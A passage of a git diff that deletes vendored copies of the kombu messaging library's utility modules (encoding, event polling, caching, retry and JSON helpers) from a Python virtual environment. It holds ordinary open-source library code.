default) - - host = get('hostname', hostname, 'localhost') - port = port if port is not None else opt('manager_port', 15672) - userid = get('userid', userid, 'guest') - password = get('password', password, 'guest') - return pyrabbit.Client(f'{host}:{port}', userid, password) diff --git a/venv/Lib/site-packages/kombu/utils/collections.py b/venv/Lib/site-packages/kombu/utils/collections.py deleted file mode 100644 index 1a0a6d0d11b2c582cf3c11ff6043628046d55303..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/collections.py +++ /dev/null @@ -1,45 +0,0 @@ -"""Custom maps, sequences, etc.""" - - -from __future__ import annotations - - -class HashedSeq(list): - """Hashed Sequence. - - Type used for hash() to make sure the hash is not generated - multiple times. - """ - - __slots__ = 'hashvalue' - - def __init__(self, *seq): - self[:] = seq - self.hashvalue = hash(seq) - - def __hash__(self): - return self.hashvalue - - -def eqhash(o): - """Call ``obj.__eqhash__``.""" - try: - return o.__eqhash__() - except AttributeError: - return hash(o) - - -class EqualityDict(dict): - """Dict using the eq operator for keying.""" - - def __getitem__(self, key): - h = eqhash(key) - if h not in self: - return self.__missing__(key) - return super().__getitem__(h) - - def __setitem__(self, key, value): - return super().__setitem__(eqhash(key), value) - - def __delitem__(self, key): - return super().__delitem__(eqhash(key)) diff --git a/venv/Lib/site-packages/kombu/utils/compat.py b/venv/Lib/site-packages/kombu/utils/compat.py deleted file mode 100644 index 472e875842bb0a8eab7d2cd708a69060547e7417..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/compat.py +++ /dev/null @@ -1,137 +0,0 @@ -"""Python Compatibility Utilities.""" - -from __future__ import annotations - -import numbers -import sys -from contextlib import contextmanager -from functools import wraps -from importlib import metadata as importlib_metadata -from io import UnsupportedOperation - -from kombu.exceptions import reraise - -FILENO_ERRORS = (AttributeError, ValueError, UnsupportedOperation) - -try: - from billiard.util import register_after_fork -except ImportError: # pragma: no cover - try: - from multiprocessing.util import register_after_fork - except ImportError: - register_after_fork = None - - -_environment = None - - -def coro(gen): - """Decorator to mark generator as co-routine.""" - @wraps(gen) - def wind_up(*args, **kwargs): - it = gen(*args, **kwargs) - next(it) - return it - return wind_up - - -def _detect_environment(): - # ## -eventlet- - if 'eventlet' in sys.modules: - try: - import socket - - from eventlet.patcher import is_monkey_patched as is_eventlet - - if is_eventlet(socket): - return 'eventlet' - except ImportError: - pass - - # ## -gevent- - if 'gevent' in sys.modules: - try: - import socket - - from gevent import socket as _gsocket - - if socket.socket is _gsocket.socket: - return 'gevent' - except ImportError: - pass - - return 'default' - - -def detect_environment(): - """Detect the current environment: default, eventlet, or gevent.""" - global _environment - if _environment is None: - _environment = _detect_environment() - return _environment - - -def entrypoints(namespace): - """Return setuptools entrypoints for namespace.""" - if sys.version_info >= (3,10): - entry_points = importlib_metadata.entry_points(group=namespace) - else: - entry_points = importlib_metadata.entry_points() - try: - entry_points = entry_points.get(namespace, []) - except AttributeError: - entry_points = entry_points.select(group=namespace) - - return ( - (ep, ep.load()) - for ep in entry_points - ) - - -def fileno(f): - """Get fileno from file-like object.""" - if isinstance(f, numbers.Integral): - return f - return f.fileno() - - -def maybe_fileno(f): - """Get object fileno, or :const:`None` if not defined.""" - try: - return fileno(f) - except FILENO_ERRORS: - pass - - -@contextmanager -def nested(*managers): # pragma: no cover - """Nest context managers.""" - # flake8: noqa - exits = [] - vars = [] - exc = (None, None, None) - try: - try: - for mgr in managers: - exit = mgr.__exit__ - enter = mgr.__enter__ - vars.append(enter()) - exits.append(exit) - yield vars - except: - exc = sys.exc_info() - finally: - while exits: - exit = exits.pop() - try: - if exit(*exc): - exc = (None, None, None) - except: - exc = sys.exc_info() - if exc != (None, None, None): - # Don't rely on sys.exc_info() still containing - # the right information. Another exception may - # have been raised and caught by an exit method - reraise(exc[0], exc[1], exc[2]) - finally: - del(exc) diff --git a/venv/Lib/site-packages/kombu/utils/debug.py b/venv/Lib/site-packages/kombu/utils/debug.py deleted file mode 100644 index 05d31b710eb0b3154a60412b81e15ef543ccdfb3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/debug.py +++ /dev/null @@ -1,77 +0,0 @@ -"""Debugging support.""" - -from __future__ import annotations - -import logging -from typing import TYPE_CHECKING - -from vine.utils import wraps - -from kombu.log import get_logger - -if TYPE_CHECKING: - from logging import Logger - from typing import Any, Callable - - from kombu.transport.base import Transport - -__all__ = ('setup_logging', 'Logwrapped') - - -def setup_logging( - loglevel: int | None = logging.DEBUG, - loggers: list[str] | None = None -) -> None: - """Setup logging to stdout.""" - loggers = ['kombu.connection', 'kombu.channel'] if not loggers else loggers - for logger_name in loggers: - logger = get_logger(logger_name) - logger.addHandler(logging.StreamHandler()) - logger.setLevel(loglevel) - - -class Logwrapped: - """Wrap all object methods, to log on call.""" - - __ignore = ('__enter__', '__exit__') - - def __init__( - self, - instance: Transport, - logger: Logger | None = None, - ident: str | None = None - ): - self.instance = instance - self.logger = get_logger(logger) - self.ident = ident - - def __getattr__(self, key: str) -> Callable: - meth = getattr(self.instance, key) - - if not callable(meth) or key in self.__ignore: - return meth - - @wraps(meth) - def __wrapped(*args: list[Any], **kwargs: dict[str, Any]) -> Callable: - info = '' - if self.ident: - info += self.ident.format(self.instance) - info += f'{meth.__name__}(' - if args: - info += ', '.join(map(repr, args)) - if kwargs: - if args: - info += ', ' - info += ', '.join(f'{key}={value!r}' - for key, value in kwargs.items()) - info += ')' - self.logger.debug(info) - return meth(*args, **kwargs) - - return __wrapped - - def __repr__(self) -> str: - return repr(self.instance) - - def __dir__(self) -> list[str]: - return dir(self.instance) diff --git a/venv/Lib/site-packages/kombu/utils/div.py b/venv/Lib/site-packages/kombu/utils/div.py deleted file mode 100644 index f25831a519df2ae6bb6a66016088319749ea8348..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/div.py +++ /dev/null @@ -1,37 +0,0 @@ -"""Div. Utilities.""" - -from __future__ import annotations - -import os -import sys - -from .encoding import default_encode - - -def emergency_dump_state(state, open_file=open, dump=None, stderr=None): - """Dump message state to stdout or file.""" - from pprint import pformat - from tempfile import mkstemp - stderr = sys.stderr if stderr is None else stderr - - if dump is None: - import pickle - dump = pickle.dump - fd, persist = mkstemp() - os.close(fd) - print(f'EMERGENCY DUMP STATE TO FILE -> {persist} <-', - file=stderr) - fh = open_file(persist, 'w') - try: - try: - dump(state, fh, protocol=0) - except Exception as exc: - print( - f'Cannot pickle state: {exc!r}. Fallback to pformat.', - file=stderr, - ) - fh.write(default_encode(pformat(state))) - finally: - fh.flush() - fh.close() - return persist diff --git a/venv/Lib/site-packages/kombu/utils/encoding.py b/venv/Lib/site-packages/kombu/utils/encoding.py deleted file mode 100644 index 42bf2ce9f8f7bb7b296890c2b7740ccef58b8311..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/encoding.py +++ /dev/null @@ -1,97 +0,0 @@ -"""Text encoding utilities. - -Utilities to encode text, and to safely emit text from running -applications without crashing from the infamous -:exc:`UnicodeDecodeError` exception. -""" - -from __future__ import annotations - -import sys -import traceback - -#: safe_str takes encoding from this file by default. -#: :func:`set_default_encoding_file` can used to set the -#: default output file. -default_encoding_file = None - - -def set_default_encoding_file(file): - """Set file used to get codec information.""" - global default_encoding_file - default_encoding_file = file - - -def get_default_encoding_file(): - """Get file used to get codec information.""" - return default_encoding_file - - -if sys.platform.startswith('java'): # pragma: no cover - - def default_encoding(file=None): - """Get default encoding.""" - return 'utf-8' -else: - - def default_encoding(file=None): - """Get default encoding.""" - file = file or get_default_encoding_file() - return getattr(file, 'encoding', None) or sys.getfilesystemencoding() - - -def str_to_bytes(s): - """Convert str to bytes.""" - if isinstance(s, str): - return s.encode() - return s - - -def bytes_to_str(s): - """Convert bytes to str.""" - if isinstance(s, bytes): - return s.decode(errors='replace') - return s - - -def from_utf8(s, *args, **kwargs): - """Get str from utf-8 encoding.""" - return s - - -def ensure_bytes(s): - """Ensure s is bytes, not str.""" - if not isinstance(s, bytes): - return str_to_bytes(s) - return s - - -def default_encode(obj): - """Encode using default encoding.""" - return obj - - -def safe_str(s, errors='replace'): - """Safe form of str(), void of unicode errors.""" - s = bytes_to_str(s) - if not isinstance(s, (str, bytes)): - return safe_repr(s, errors) - return _safe_str(s, errors) - - -def _safe_str(s, errors='replace', file=None): - if isinstance(s, str): - return s - try: - return str(s) - except Exception as exc: - return ''.format( - type(s), exc, '\n'.join(traceback.format_stack())) - - -def safe_repr(o, errors='replace'): - """Safe form of repr, void of Unicode errors.""" - try: - return repr(o) - except Exception: - return _safe_str(o, errors) diff --git a/venv/Lib/site-packages/kombu/utils/eventio.py b/venv/Lib/site-packages/kombu/utils/eventio.py deleted file mode 100644 index f8d89d4573810a21da008a2eb2f2a89cc84b42d9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/eventio.py +++ /dev/null @@ -1,329 +0,0 @@ -"""Selector Utilities.""" - -from __future__ import annotations - -import errno -import math -import select as __select__ -import sys -from numbers import Integral - -from . import fileno -from .compat import detect_environment - -__all__ = ('poll',) - -_selectf = __select__.select -_selecterr = __select__.error -xpoll = getattr(__select__, 'poll', None) -epoll = getattr(__select__, 'epoll', None) -kqueue = getattr(__select__, 'kqueue', None) -kevent = getattr(__select__, 'kevent', None) -KQ_EV_ADD = getattr(__select__, 'KQ_EV_ADD', 1) -KQ_EV_DELETE = getattr(__select__, 'KQ_EV_DELETE', 2) -KQ_EV_ENABLE = getattr(__select__, 'KQ_EV_ENABLE', 4) -KQ_EV_CLEAR = getattr(__select__, 'KQ_EV_CLEAR', 32) -KQ_EV_ERROR = getattr(__select__, 'KQ_EV_ERROR', 16384) -KQ_EV_EOF = getattr(__select__, 'KQ_EV_EOF', 32768) -KQ_FILTER_READ = getattr(__select__, 'KQ_FILTER_READ', -1) -KQ_FILTER_WRITE = getattr(__select__, 'KQ_FILTER_WRITE', -2) -KQ_FILTER_AIO = getattr(__select__, 'KQ_FILTER_AIO', -3) -KQ_FILTER_VNODE = getattr(__select__, 'KQ_FILTER_VNODE', -4) -KQ_FILTER_PROC = getattr(__select__, 'KQ_FILTER_PROC', -5) -KQ_FILTER_SIGNAL = getattr(__select__, 'KQ_FILTER_SIGNAL', -6) -KQ_FILTER_TIMER = getattr(__select__, 'KQ_FILTER_TIMER', -7) -KQ_NOTE_LOWAT = getattr(__select__, 'KQ_NOTE_LOWAT', 1) -KQ_NOTE_DELETE = getattr(__select__, 'KQ_NOTE_DELETE', 1) -KQ_NOTE_WRITE = getattr(__select__, 'KQ_NOTE_WRITE', 2) -KQ_NOTE_EXTEND = getattr(__select__, 'KQ_NOTE_EXTEND', 4) -KQ_NOTE_ATTRIB = getattr(__select__, 'KQ_NOTE_ATTRIB', 8) -KQ_NOTE_LINK = getattr(__select__, 'KQ_NOTE_LINK', 16) -KQ_NOTE_RENAME = getattr(__select__, 'KQ_NOTE_RENAME', 32) -KQ_NOTE_REVOKE = getattr(__select__, 'KQ_NOTE_REVOKE', 64) -POLLIN = getattr(__select__, 'POLLIN', 1) -POLLOUT = getattr(__select__, 'POLLOUT', 4) -POLLERR = getattr(__select__, 'POLLERR', 8) -POLLHUP = getattr(__select__, 'POLLHUP', 16) -POLLNVAL = getattr(__select__, 'POLLNVAL', 32) - -READ = POLL_READ = 0x001 -WRITE = POLL_WRITE = 0x004 -ERR = POLL_ERR = 0x008 | 0x010 - -try: - SELECT_BAD_FD = {errno.EBADF, errno.WSAENOTSOCK} -except AttributeError: - SELECT_BAD_FD = {errno.EBADF} - - -class _epoll: - - def __init__(self): - self._epoll = epoll() - - def register(self, fd, events): - try: - self._epoll.register(fd, events) - except Exception as exc: - if getattr(exc, 'errno', None) != errno.EEXIST: - raise - return fd - - def unregister(self, fd): - try: - self._epoll.unregister(fd) - except (OSError, ValueError, KeyError, TypeError): - pass - except OSError as exc: - if getattr(exc, 'errno', None) not in (errno.ENOENT, errno.EPERM): - raise - - def poll(self, timeout): - try: - return self._epoll.poll(timeout if timeout is not None else -1) - except Exception as exc: - if getattr(exc, 'errno', None) != errno.EINTR: - raise - - def close(self): - self._epoll.close() - - -class _kqueue: - w_fflags = (KQ_NOTE_WRITE | KQ_NOTE_EXTEND | - KQ_NOTE_ATTRIB | KQ_NOTE_DELETE) - - def __init__(self): - self._kqueue = kqueue() - self._active = {} - self.on_file_change = None - self._kcontrol = self._kqueue.control - - def register(self, fd, events): - self._control(fd, events, KQ_EV_ADD) - self._active[fd] = events - return fd - - def unregister(self, fd): - events = self._active.pop(fd, None) - if events: - try: - self._control(fd, events, KQ_EV_DELETE) - except OSError: - pass - - def watch_file(self, fd): - ev = kevent(fd, - filter=KQ_FILTER_VNODE, - flags=KQ_EV_ADD | KQ_EV_ENABLE | KQ_EV_CLEAR, - fflags=self.w_fflags) - self._kcontrol([ev], 0) - - def unwatch_file(self, fd): - ev = kevent(fd, - filter=KQ_FILTER_VNODE, - flags=KQ_EV_DELETE, - fflags=self.w_fflags) - self._kcontrol([ev], 0) - - def _control(self, fd, events, flags): - if not events: - return - kevents = [] - if events & WRITE: - kevents.append(kevent(fd, - filter=KQ_FILTER_WRITE, - flags=flags)) - if not kevents or events & READ: - kevents.append( - kevent(fd, filter=KQ_FILTER_READ, flags=flags), - ) - control = self._kcontrol - for e in kevents: - try: - control([e], 0) - except ValueError: - pass - - def poll(self, timeout): - try: - kevents = self._kcontrol(None, 1000, timeout) - except Exception as exc: - if getattr(exc, 'errno', None) == errno.EINTR: - return - raise - events, file_changes = {}, [] - for k in kevents: - fd = k.ident - if k.filter == KQ_FILTER_READ: - events[fd] = events.get(fd, 0) | READ - elif k.filter == KQ_FILTER_WRITE: - if k.flags & KQ_EV_EOF: - events[fd] = ERR - else: - events[fd] = events.get(fd, 0) | WRITE - elif k.filter == KQ_EV_ERROR: - events[fd] = events.get(fd, 0) | ERR - elif k.filter == KQ_FILTER_VNODE: - if k.fflags & KQ_NOTE_DELETE: - self.unregister(fd) - file_changes.append(k) - if file_changes: - self.on_file_change(file_changes) - return list(events.items()) - - def close(self): - self._kqueue.close() - - -class _poll: - - def __init__(self): - self._poller = xpoll() - self._quick_poll = self._poller.poll - self._quick_register = self._poller.register - self._quick_unregister = self._poller.unregister - - def register(self, fd, events): - fd = fileno(fd) - poll_flags = 0 - if events & ERR: - poll_flags |= POLLERR - if events & WRITE: - poll_flags |= POLLOUT - if events & READ: - poll_flags |= POLLIN - self._quick_register(fd, poll_flags) - return fd - - def unregister(self, fd): - try: - fd = fileno(fd) - except OSError as exc: - # we don't know the previous fd of this object - # but it will be removed by the next poll iteration. - if getattr(exc, 'errno', None) in SELECT_BAD_FD: - return fd - raise - self._quick_unregister(fd) - return fd - - def poll(self, timeout, round=math.ceil, - POLLIN=POLLIN, POLLOUT=POLLOUT, POLLERR=POLLERR, - READ=READ, WRITE=WRITE, ERR=ERR, Integral=Integral): - timeout = 0 if timeout and timeout < 0 else round((timeout or 0) * 1e3) - try: - event_list = self._quick_poll(timeout) - except (_selecterr, OSError) as exc: - if getattr(exc, 'errno', None) == errno.EINTR: - return - raise - - ready = [] - for fd, event in event_list: - events = 0 - if event & POLLIN: - events |= READ - if event & POLLOUT: - events |= WRITE - if event & POLLERR or event & POLLNVAL or event & POLLHUP: - events |= ERR - assert events - if not isinstance(fd, Integral): - fd = fd.fileno() - ready.append((fd, events)) - return ready - - def close(self): - self._poller = None - - -class _select: - - def __init__(self): - self._all = (self._rfd, - self._wfd, - self._efd) = set(), set(), set() - - def register(self, fd, events): - fd = fileno(fd) - if events & ERR: - self._efd.add(fd) - if events & WRITE: - self._wfd.add(fd) - if events & READ: - self._rfd.add(fd) - return fd - - def _remove_bad(self): - for fd in self._rfd | self._wfd | self._efd: - try: - _selectf([fd], [], [], 0) - except (_selecterr, OSError) as exc: - if getattr(exc, 'errno', None) in SELECT_BAD_FD: - self.unregister(fd) - - def unregister(self, fd): - try: - fd = fileno(fd) - except OSError as exc: - # we don't know the previous fd of this object - # but it will be removed by the next poll iteration. - if getattr(exc, 'errno', None) in SELECT_BAD_FD: - return - raise - self._rfd.discard(fd) - self._wfd.discard(fd) - self._efd.discard(fd) - - def poll(self, timeout): - try: - read, write, error = _selectf( - self._rfd, self._wfd, self._efd, timeout, - ) - except (_selecterr, OSError) as exc: - if getattr(exc, 'errno', None) == errno.EINTR: - return - elif getattr(exc, 'errno', None) in SELECT_BAD_FD: - return self._remove_bad() - raise - - events = {} - for fd in read: - if not isinstance(fd, Integral): - fd = fd.fileno() - events[fd] = events.get(fd, 0) | READ - for fd in write: - if not isinstance(fd, Integral): - fd = fd.fileno() - events[fd] = events.get(fd, 0) | WRITE - for fd in error: - if not isinstance(fd, Integral): - fd = fd.fileno() - events[fd] = events.get(fd, 0) | ERR - return list(events.items()) - - def close(self): - self._rfd.clear() - self._wfd.clear() - self._efd.clear() - - -def _get_poller(): - if detect_environment() != 'default': - # greenlet - return _select - elif epoll: - # Py2.6+ Linux - return _epoll - elif kqueue and 'netbsd' in sys.platform: - return _kqueue - elif xpoll: - return _poll - else: - return _select - - -def poll(*args, **kwargs): - """Create new poller instance.""" - return _get_poller()(*args, **kwargs) diff --git a/venv/Lib/site-packages/kombu/utils/functional.py b/venv/Lib/site-packages/kombu/utils/functional.py deleted file mode 100644 index 29c3d96dc7a41996edc5dbd2710cb9d5bab89c1e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/functional.py +++ /dev/null @@ -1,360 +0,0 @@ -"""Functional Utilities.""" - -from __future__ import annotations - -import inspect -import random -import threading -from collections import OrderedDict, UserDict -from collections.abc import Iterable, Mapping -from itertools import count, repeat -from time import sleep, time - -from vine.utils import wraps - -from .encoding import safe_repr as _safe_repr - -__all__ = ( - 'LRUCache', 'memoize', 'lazy', 'maybe_evaluate', - 'is_list', 'maybe_list', 'dictfilter', 'retry_over_time', -) - -KEYWORD_MARK = object() - - -class ChannelPromise: - - def __init__(self, contract): - self.__contract__ = contract - - def __call__(self): - try: - return self.__value__ - except AttributeError: - value = self.__value__ = self.__contract__() - return value - - def __repr__(self): - try: - return repr(self.__value__) - except AttributeError: - return f'' - - -class LRUCache(UserDict): - """LRU Cache implementation using a doubly linked list to track access. - - Arguments: - --------- - limit (int): The maximum number of keys to keep in the cache. - When a new key is inserted and the limit has been exceeded, - the *Least Recently Used* key will be discarded from the - cache. - """ - - def __init__(self, limit=None): - self.limit = limit - self.mutex = threading.RLock() - self.data = OrderedDict() - - def __getitem__(self, key): - with self.mutex: - value = self[key] = self.data.pop(key) - return value - - def update(self, *args, **kwargs): - with self.mutex: - data, limit = self.data, self.limit - data.update(*args, **kwargs) - if limit and len(data) > limit: - # pop additional items in case limit exceeded - for _ in range(len(data) - limit): - data.popitem(last=False) - - def popitem(self, last=True): - with self.mutex: - return self.data.popitem(last) - - def __setitem__(self, key, value): - # remove least recently used key. - with self.mutex: - if self.limit and len(self.data) >= self.limit: - self.data.pop(next(iter(self.data))) - self.data[key] = value - - def __iter__(self): - return iter(self.data) - - def _iterate_items(self): - with self.mutex: - for k in self: - try: - yield (k, self.data[k]) - except KeyError: # pragma: no cover - pass - iteritems = _iterate_items - - def _iterate_values(self): - with self.mutex: - for k in self: - try: - yield self.data[k] - except KeyError: # pragma: no cover - pass - - itervalues = _iterate_values - - def _iterate_keys(self): - # userdict.keys in py3k calls __getitem__ - with self.mutex: - return self.data.keys() - iterkeys = _iterate_keys - - def incr(self, key, delta=1): - with self.mutex: - # this acts as memcached does- store as a string, but return a - # integer as long as it exists and we can cast it - newval = int(self.data.pop(key)) + delta - self[key] = str(newval) - return newval - - def __getstate__(self): - d = dict(vars(self)) - d.pop('mutex') - return d - - def __setstate__(self, state): - self.__dict__ = state - self.mutex = threading.RLock() - - keys = _iterate_keys - values = _iterate_values - items = _iterate_items - - -def memoize(maxsize=None, keyfun=None, Cache=LRUCache): - """Decorator to cache function return value.""" - def _memoize(fun): - mutex = threading.Lock() - cache = Cache(limit=maxsize) - - @wraps(fun) - def _M(*args, **kwargs): - if keyfun: - key = keyfun(args, kwargs) - else: - key = args + (KEYWORD_MARK,) + tuple(sorted(kwargs.items())) - try: - with mutex: - value = cache[key] - except KeyError: - value = fun(*args, **kwargs) - _M.misses += 1 - with mutex: - cache[key] = value - else: - _M.hits += 1 - return value - - def clear(): - """Clear the cache and reset cache statistics.""" - cache.clear() - _M.hits = _M.misses = 0 - - _M.hits = _M.misses = 0 - _M.clear = clear - _M.original_func = fun - return _M - - return _memoize - - -class lazy: - """Holds lazy evaluation. - - Evaluated when called or if the :meth:`evaluate` method is called. - The function is re-evaluated on every call. - - Overloaded operations that will evaluate the promise: - :meth:`__str__`, :meth:`__repr__`, :meth:`__cmp__`. - """ - - def __init__(self, fun, *args, **kwargs): - self._fun = fun - self._args = args - self._kwargs = kwargs - - def __call__(self): - return self.evaluate() - - def evaluate(self): - return self._fun(*self._args, **self._kwargs) - - def __str__(self): - return str(self()) - - def __repr__(self): - return repr(self()) - - def __eq__(self, rhs): - return self() == rhs - - def __ne__(self, rhs): - return self() != rhs - - def __deepcopy__(self, memo): - memo[id(self)] = self - return self - - def __reduce__(self): - return (self.__class__, (self._fun,), {'_args': self._args, - '_kwargs': self._kwargs}) - - -def maybe_evaluate(value): - """Evaluate value only if value is a :class:`lazy` instance.""" - if isinstance(value, lazy): - return value.evaluate() - return value - - -def is_list(obj, scalars=(Mapping, str), iters=(Iterable,)): - """Return true if the object is iterable. - - Note: - ---- - Returns false if object is a mapping or string. - """ - return isinstance(obj, iters) and not isinstance(obj, scalars or ()) - - -def maybe_list(obj, scalars=(Mapping, str)): - """Return list of one element if ``l`` is a scalar.""" - return obj if obj is None or is_list(obj, scalars) else [obj] - - -def dictfilter(d=None, **kw): - """Remove all keys from dict ``d`` whose value is :const:`None`.""" - d = kw if d is None else (dict(d, **kw) if kw else d) - return {k: v for k, v in d.items() if v is not None} - - -def shufflecycle(it): - it = list(it) # don't modify callers list - shuffle = random.shuffle - for _ in repeat(None): - shuffle(it) - yield it[0] - - -def fxrange(start=1.0, stop=None, step=1.0, repeatlast=False): - cur = start * 1.0 - while 1: - if not stop or cur <= stop: - yield cur - cur += step - else: - if not repeatlast: - break - yield cur - step - - -def fxrangemax(start=1.0, stop=None, step=1.0, max=100.0): - sum_, cur = 0, start * 1.0 - while 1: - if sum_ >= max: - break - yield cur - if stop: - cur = min(cur + step, stop) - else: - cur += step - sum_ += cur - - -def retry_over_time(fun, catch, args=None, kwargs=None, errback=None, - max_retries=None, interval_start=2, interval_step=2, - interval_max=30, callback=None, timeout=None): - """Retry the function over and over until max retries is exceeded. - - For each retry we sleep a for a while before we try again, this interval - is increased for every retry until the max seconds is reached. - - Arguments: - --------- - fun (Callable): The function to try - catch (Tuple[BaseException]): Exceptions to catch, can be either - tuple or a single exception class. - - Keyword Arguments: - ----------------- - args (Tuple): Positional arguments passed on to the function. - kwargs (Dict): Keyword arguments passed on to the function. - errback (Callable): Callback for when an exception in ``catch`` - is raised. The callback must take three arguments: - ``exc``, ``interval_range`` and ``retries``, where ``exc`` - is the exception instance, ``interval_range`` is an iterator - which return the time in seconds to sleep next, and ``retries`` - is the number of previous retries. - max_retries (int): Maximum number of retries before we give up. - If neither of this and timeout is set, we will retry forever. - If one of this and timeout is reached, stop. - interval_start (float): How long (in seconds) we start sleeping - between retries. - interval_step (float): By how much the interval is increased for - each retry. - interval_max (float): Maximum number of seconds to sleep - between retries. - timeout (int): Maximum seconds waiting before we give up. - """ - kwargs = {} if not kwargs else kwargs - args = [] if not args else args - interval_range = fxrange(interval_start, - interval_max + interval_start, - interval_step, repeatlast=True) - end = time() + timeout if timeout else None - for retries in count(): - try: - return fun(*args, **kwargs) - except catch as exc: - if max_retries is not None and retries >= max_retries: - raise - if end and time() > end: - raise - if callback: - callback() - tts = float(errback(exc, interval_range, retries) if errback - else next(interval_range)) - if tts: - for _ in range(int(tts)): - if callback: - callback() - sleep(1.0) - # sleep remainder after int truncation above. - sleep(abs(int(tts) - tts)) - - -def reprkwargs(kwargs, sep=', ', fmt='{0}={1}'): - return sep.join(fmt.format(k, _safe_repr(v)) for k, v in kwargs.items()) - - -def reprcall(name, args=(), kwargs=None, sep=', '): - kwargs = {} if not kwargs else kwargs - return '{}({}{}{})'.format( - name, sep.join(map(_safe_repr, args or ())), - (args and kwargs) and sep or '', - reprkwargs(kwargs, sep), - ) - - -def accepts_argument(func, argument_name): - argument_spec = inspect.getfullargspec(func) - return ( - argument_name in argument_spec.args or - argument_name in argument_spec.kwonlyargs - ) - - -# Compat names (before kombu 3.0) -promise = lazy -maybe_promise = maybe_evaluate diff --git a/venv/Lib/site-packages/kombu/utils/imports.py b/venv/Lib/site-packages/kombu/utils/imports.py deleted file mode 100644 index c9aff884ad3782f8e0354746bd1757d6c538a37a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/imports.py +++ /dev/null @@ -1,68 +0,0 @@ -"""Import related utilities.""" - -from __future__ import annotations - -import importlib -import sys - -from kombu.exceptions import reraise - - -def symbol_by_name(name, aliases=None, imp=None, package=None, - sep='.', default=None, **kwargs): - """Get symbol by qualified name. - - The name should be the full dot-separated path to the class:: - - modulename.ClassName - - Example:: - - celery.concurrency.processes.TaskPool - ^- class name - - or using ':' to separate module and symbol:: - - celery.concurrency.processes:TaskPool - - If `aliases` is provided, a dict containing short name/long name - mappings, the name is looked up in the aliases first. - - Examples - -------- - >>> symbol_by_name('celery.concurrency.processes.TaskPool') - - - >>> symbol_by_name('default', { - ... 'default': 'celery.concurrency.processes.TaskPool'}) - - - # Does not try to look up non-string names. - >>> from celery.concurrency.processes import TaskPool - >>> symbol_by_name(TaskPool) is TaskPool - True - """ - aliases = {} if not aliases else aliases - if imp is None: - imp = importlib.import_module - - if not isinstance(name, str): - return name # already a class - - name = aliases.get(name) or name - sep = ':' if ':' in name else sep - module_name, _, cls_name = name.rpartition(sep) - if not module_name: - cls_name, module_name = None, package if package else cls_name - try: - try: - module = imp(module_name, package=package, **kwargs) - except ValueError as exc: - reraise(ValueError, - ValueError(f"Couldn't import {name!r}: {exc}"), - sys.exc_info()[2]) - return getattr(module, cls_name) if cls_name else module - except (ImportError, AttributeError): - if default is None: - raise - return default diff --git a/venv/Lib/site-packages/kombu/utils/json.py b/venv/Lib/site-packages/kombu/utils/json.py deleted file mode 100644 index 46326c109882e3f15b58318d66a56ebd3929ef01..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/json.py +++ /dev/null @@ -1,146 +0,0 @@ -"""JSON Serialization Utilities.""" - -from __future__ import annotations - -import base64 -import json -import uuid -from datetime import date, datetime, time -from decimal import Decimal -from typing import Any, Callable, TypeVar - -textual_types = () - -try: - from django.utils.functional import Promise - - textual_types += (Promise,) -except ImportError: - pass - - -class JSONEncoder(json.JSONEncoder): - """Kombu custom json encoder.""" - - def default(self, o): - reducer = getattr(o, "__json__", None) - if reducer is not None: - return reducer() - - if isinstance(o, textual_types): - return str(o) - - for t, (marker, encoder) in _encoders.items(): - if isinstance(o, t): - return ( - encoder(o) if marker is None else _as(marker, encoder(o)) - ) - - # Bytes is slightly trickier, so we cannot put them directly - # into _encoders, because we use two formats: bytes, and base64. - if isinstance(o, bytes): - try: - return _as("bytes", o.decode("utf-8")) - except UnicodeDecodeError: - return _as("base64", base64.b64encode(o).decode("utf-8")) - - return super().default(o) - - -def _as(t: str, v: Any): - return {"__type__": t, "__value__": v} - - -def dumps( - s, - _dumps=json.dumps, - cls=JSONEncoder, - default_kwargs=None, - **kwargs -): - """Serialize object to json string.""" - default_kwargs = default_kwargs or {} - return _dumps(s, cls=cls, **dict(default_kwargs, **kwargs)) - - -def object_hook(o: dict): - """Hook function to perform custom deserialization.""" - if o.keys() == {"__type__", "__value__"}: - decoder = _decoders.get(o["__type__"]) - if decoder: - return decoder(o["__value__"]) - else: - raise ValueError("Unsupported type", type, o) - else: - return o - - -def loads(s, _loads=json.loads, decode_bytes=True, object_hook=object_hook): - """Deserialize json from string.""" - # None of the json implementations supports decoding from - # a buffer/memoryview, or even reading from a stream - # (load is just loads(fp.read())) - # but this is Python, we love copying strings, preferably many times - # over. Note that pickle does support buffer/memoryview - # - if isinstance(s, memoryview): - s = s.tobytes().decode("utf-8") - elif isinstance(s, bytearray): - s = s.decode("utf-8") - elif decode_bytes and isinstance(s, bytes): - s = s.decode("utf-8") - - return _loads(s, object_hook=object_hook) - - -DecoderT = EncoderT = Callable[[Any], Any] -T = TypeVar("T") -EncodedT = TypeVar("EncodedT") - - -def register_type( - t: type[T], - marker: str | None, - encoder: Callable[[T], EncodedT], - decoder: Callable[[EncodedT], T] = lambda d: d, -): - """Add support for serializing/deserializing native python type. - - If marker is `None`, the encoding is a pure transformation and the result - is not placed in an envelope, so `decoder` is unnecessary. Decoding must - instead be handled outside this library. - """ - _encoders[t] = (marker, encoder) - if marker is not None: - _decoders[marker] = decoder - - -_encoders: dict[type, tuple[str | None, EncoderT]] = {} -_decoders: dict[str, DecoderT] = { - "bytes": lambda o: o.encode("utf-8"), - "base64": lambda o: base64.b64decode(o.encode("utf-8")), -} - - -def _register_default_types(): - # NOTE: datetime should be registered before date, - # because datetime is also instance of date. - register_type(datetime, "datetime", datetime.isoformat, - datetime.fromisoformat) - register_type( - date, - "date", - lambda o: o.isoformat(), - lambda o: datetime.fromisoformat(o).date(), - ) - register_type(time, "time", lambda o: o.isoformat(), time.fromisoformat) - register_type(Decimal, "decimal", str, Decimal) - register_type( - uuid.UUID, - "uuid", - lambda o: {"hex": o.hex}, - lambda o: uuid.UUID(**o), - ) - - -_register_default_types() diff --git a/venv/Lib/site-packages/kombu/utils/limits.py b/venv/Lib/site-packages/kombu/utils/limits.py deleted file mode 100644 index 